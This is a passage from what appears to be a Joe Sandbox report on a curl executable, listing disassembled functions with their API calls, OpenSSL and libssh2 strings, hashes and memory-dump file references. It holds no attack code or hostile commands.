Opcode ID: 31f07d71314ed627ceb542b78d204398c5207fe4ed2c51c4a25f6491e27c23c9
Instruction ID: fa2726bc7102d9220a05fc8fb1303b1ec6dd4e083ee6a59b8933f02dccdf6eb2
Opcode Fuzzy Hash: 31f07d71314ed627ceb542b78d204398c5207fe4ed2c51c4a25f6491e27c23c9
Instruction Fuzzy Hash: DD3119767943014BCB24DE34989177677A6EBE5354F44C43EDEC98B342EA26EC098261

Function 00952D10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

server response timeout, xrefs: 00952D53
select/poll error, xrefs: 00952E28

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID: select/poll error$server response timeout
API String ID: 1362846788-3916793193
Opcode ID: 610b65e2e4489b9edcbb8c262631770b0021cb159c8b45508292e64757beb66b
Instruction ID: 1b2bc1dd1ad940d0726852e861385e7f6a0a42b7d65b6cf3e573040a772ee0d8
Opcode Fuzzy Hash: 610b65e2e4489b9edcbb8c262631770b0021cb159c8b45508292e64757beb66b
Instruction Fuzzy Hash: F4315B327006069BDB14DB26DC52B7A32ACAB92316F040639FD09DB6C1EB24ED0DC7D1

Function 009F60C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009F6116

Strings

%02x%s, xrefs: 009F61CB
Seed:, xrefs: 009F6138

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: %02x%s$Seed:
API String ID: 2102423945-4273028871
Opcode ID: abb0733b3fc44d5bc2dc712262703f65c28d5fe92ad015088306d914588ee901
Instruction ID: cfc7674c7decb3cca1f7f3752000e5147140c9f1e96dfebab246647850f1684c
Opcode Fuzzy Hash: abb0733b3fc44d5bc2dc712262703f65c28d5fe92ad015088306d914588ee901
Instruction Fuzzy Hash: ED31B0B27083055BE724DA389D42BBBB6DDAB98740F44083CF946C7383FA75E9048792

Function 009AEA70 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

__localtime64.LIBCMT ref: 009AEA9E

Strings

..\..\openssl\openssl\crypto\asn1\a_utctm.c, xrefs: 009AEB22
%02d%02d%02d%02d%02d%02dZ, xrefs: 009AEB7D
..\..\openssl\openssl\crypto\asn1\a_utctm.c, xrefs: 009AEB05

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __localtime64
String ID: %02d%02d%02d%02d%02d%02dZ$..\..\openssl\openssl\crypto\asn1\a_utctm.c$..\..\openssl\openssl\crypto\asn1\a_utctm.c
API String ID: 194189394-594808043
Opcode ID: 0348f69d081df0c42a1c81dcd285b93828534ef0359e0674311d8692ec12cbd3
Instruction ID: cfdeb3f43d973d4867905ccc28ff8610fba5f469a7a0d4612f3aa403a5138284
Opcode Fuzzy Hash: 0348f69d081df0c42a1c81dcd285b93828534ef0359e0674311d8692ec12cbd3
Instruction Fuzzy Hash: 9E3123726043029BDB15DF16D842B6BB7E5FFD9710F040A29F88A97291EB21DD44C7A2

Function 009FE380 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

_strtoul.LIBCMT ref: 009FE396

Part of subcall function 00A1EECB: strtoxl.LIBCMT ref: 00A1EEEB

Strings

Char=, xrefs: 009FE486
..\..\openssl\openssl\crypto\asn1\asn1_gen.c, xrefs: 009FE465
..\..\openssl\openssl\crypto\asn1\asn1_gen.c, xrefs: 009FE3BD

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strtoulstrtoxl
String ID: ..\..\openssl\openssl\crypto\asn1\asn1_gen.c$..\..\openssl\openssl\crypto\asn1\asn1_gen.c$Char=
API String ID: 2961352152-697459012
Opcode ID: 9abfded88e46207cfea122e49443fc185d5eb25ff9184743ff54e0cfa2d2728b
Instruction ID: 8aaa863730c4caad4cab649b7746cf763eeb3338e7a0149fab3c82325774bb9b
Opcode Fuzzy Hash: 9abfded88e46207cfea122e49443fc185d5eb25ff9184743ff54e0cfa2d2728b
Instruction Fuzzy Hash: 8031A7767043015BE710EA58FC817AAB794E7C1722F584479FA44CB3D1E6BA990E83A2

Function 009B44C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009B4582

Strings

..\..\openssl\openssl\crypto\asn1\a_bitstr.c, xrefs: 009B451A
..\..\openssl\openssl\crypto\asn1\a_bitstr.c, xrefs: 009B4530
..\..\openssl\openssl\crypto\asn1\a_bitstr.c, xrefs: 009B454B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\asn1\a_bitstr.c$..\..\openssl\openssl\crypto\asn1\a_bitstr.c$..\..\openssl\openssl\crypto\asn1\a_bitstr.c
API String ID: 2102423945-3210235530
Opcode ID: a9f67f7e08acfed3cbda937f5abeba6afb6cec6662fb6e759d4cf719eb2e8a2a
Instruction ID: 5232034abd0eeddad09787ad43248dd9230cb15ee4803218954709fd8fdbf7a2
Opcode Fuzzy Hash: a9f67f7e08acfed3cbda937f5abeba6afb6cec6662fb6e759d4cf719eb2e8a2a
Instruction Fuzzy Hash: A3310271B44B025BD330DE19E841BA6B3D5EBD1721F14893CF489CB782EBB4E8498791

Function 00960D80 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 00960DFC
_strstr.LIBCMT ref: 00960E13

Strings

;type=, xrefs: 00960E08
;type=, xrefs: 00960DEA

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strstr
String ID: ;type=$;type=
API String ID: 2882301372-3903536503
Opcode ID: 93e721fc874259b98d9b6cb81d6425be4a4c2dd6e332e08739fed77bef44b3e4
Instruction ID: 865c478e341d52a2fbc21201b715eb8d90ea5318eab6440fef562568c7a70f25
Opcode Fuzzy Hash: 93e721fc874259b98d9b6cb81d6425be4a4c2dd6e332e08739fed77bef44b3e4
Instruction Fuzzy Hash: AD3105706053419BDB218F38EC94BD3BBE4BF95314F0449B9D8AD8B282D376E8458791

Function 009AED30 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

__localtime64.LIBCMT ref: 009AED5D

Strings

..\..\openssl\openssl\crypto\asn1\a_gentm.c, xrefs: 009AEDCC
..\..\openssl\openssl\crypto\asn1\a_gentm.c, xrefs: 009AEDAF
%04d%02d%02d%02d%02d%02dZ, xrefs: 009AEE25

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __localtime64
String ID: %04d%02d%02d%02d%02d%02dZ$..\..\openssl\openssl\crypto\asn1\a_gentm.c$..\..\openssl\openssl\crypto\asn1\a_gentm.c
API String ID: 194189394-2900542551
Opcode ID: 5328c81f4d9682b121b51fdc9d0209b3ff61bfb72279ba415f5034f224c68440
Instruction ID: 1df8fb4249e9b419b72e433681c4754ced636770f0c6ce8750c9a77e89288ada
Opcode Fuzzy Hash: 5328c81f4d9682b121b51fdc9d0209b3ff61bfb72279ba415f5034f224c68440
Instruction Fuzzy Hash: C831D276A04302ABD715EF19CC42BABB7E4AFD9310F054929F88997292EB31D944C7D2

Function 0096E2E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0096E37C
__time64.LIBCMT ref: 0096E3A4

Part of subcall function 00A2144E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,000003E8,00000000), ref: 00A21457
Part of subcall function 00A2144E: __aulldiv.LIBCMT ref: 00A21477

Strings

..\..\openssl\openssl\ssl\ssl_sess.c, xrefs: 0096E359
..\..\openssl\openssl\ssl\ssl_sess.c, xrefs: 0096E2FB, 0096E31B, 0096E340

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64_memset
String ID: ..\..\openssl\openssl\ssl\ssl_sess.c$..\..\openssl\openssl\ssl\ssl_sess.c
API String ID: 3293885980-4093557135
Opcode ID: c2539ad92d6913d5e0b4f67d5df4c2502d18fd9bbeaf23d7c43d3340818c93e9
Instruction ID: 25033b815947fccde2119a04382987cc601e1b558779d9b79bbf93ed1fc140c9
Opcode Fuzzy Hash: c2539ad92d6913d5e0b4f67d5df4c2502d18fd9bbeaf23d7c43d3340818c93e9
Instruction Fuzzy Hash: BB311CB1281B01AAF730DFA4DC16F9376D4BB40B08F00452CE96E6B2C1DBF9654A8B95

Function 00982980 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00982A1F

Strings

..\..\openssl\openssl\crypto\asn1\asn1_lib.c, xrefs: 009829F5
..\..\openssl\openssl\crypto\asn1\asn1_lib.c, xrefs: 009829D7
..\..\openssl\openssl\crypto\asn1\asn1_lib.c, xrefs: 009829C3

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\asn1\asn1_lib.c$..\..\openssl\openssl\crypto\asn1\asn1_lib.c$..\..\openssl\openssl\crypto\asn1\asn1_lib.c
API String ID: 4104443479-595595021
Opcode ID: c97c7914f02a838e511b0b1496b7b398d6d27446faa5ddcfe72f763dd2726691
Instruction ID: 542075930f2b8a738d443612f5628887681e6538e2201f5a4d24bd232fd10569
Opcode Fuzzy Hash: c97c7914f02a838e511b0b1496b7b398d6d27446faa5ddcfe72f763dd2726691
Instruction Fuzzy Hash: 071197767003126BDB30AF05D881BA6F39CEFA1B00F048939EC4997781EBB2ED158390

Function 00A184A0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A1852C

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A18543
sha1, xrefs: 00A184B4
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00A1854D

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$sha1
API String ID: 2102423945-3028123538
Opcode ID: 2d057f33756b70b13a93941d8ee17435bd84bada93f7b1cbd51c22ce84a8ff61
Instruction ID: d99eae3ea43336dab49195b393d431fd7e0d164e02d55e3e77e09d3d9a24c969
Opcode Fuzzy Hash: 2d057f33756b70b13a93941d8ee17435bd84bada93f7b1cbd51c22ce84a8ff61
Instruction Fuzzy Hash: 9211BE716043015BC704EF18DC46E5BB7E5EFD9310F144A2CF999872A2EB61EE58C792

Function 00A190E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 00A1910D

Part of subcall function 00A2515B: GetModuleHandleExW.KERNEL32(00000006,00000001,?,?,?,?,?,?,?,?,?,?), ref: 00A25220
Part of subcall function 00A2515B: GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,?,?), ref: 00A2524C

_memmove.LIBCMT ref: 00A19142

Strings

(len % blocksize) == 0, xrefs: 00A19108
..\..\libssh2\src\transport.c, xrefs: 00A19103

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
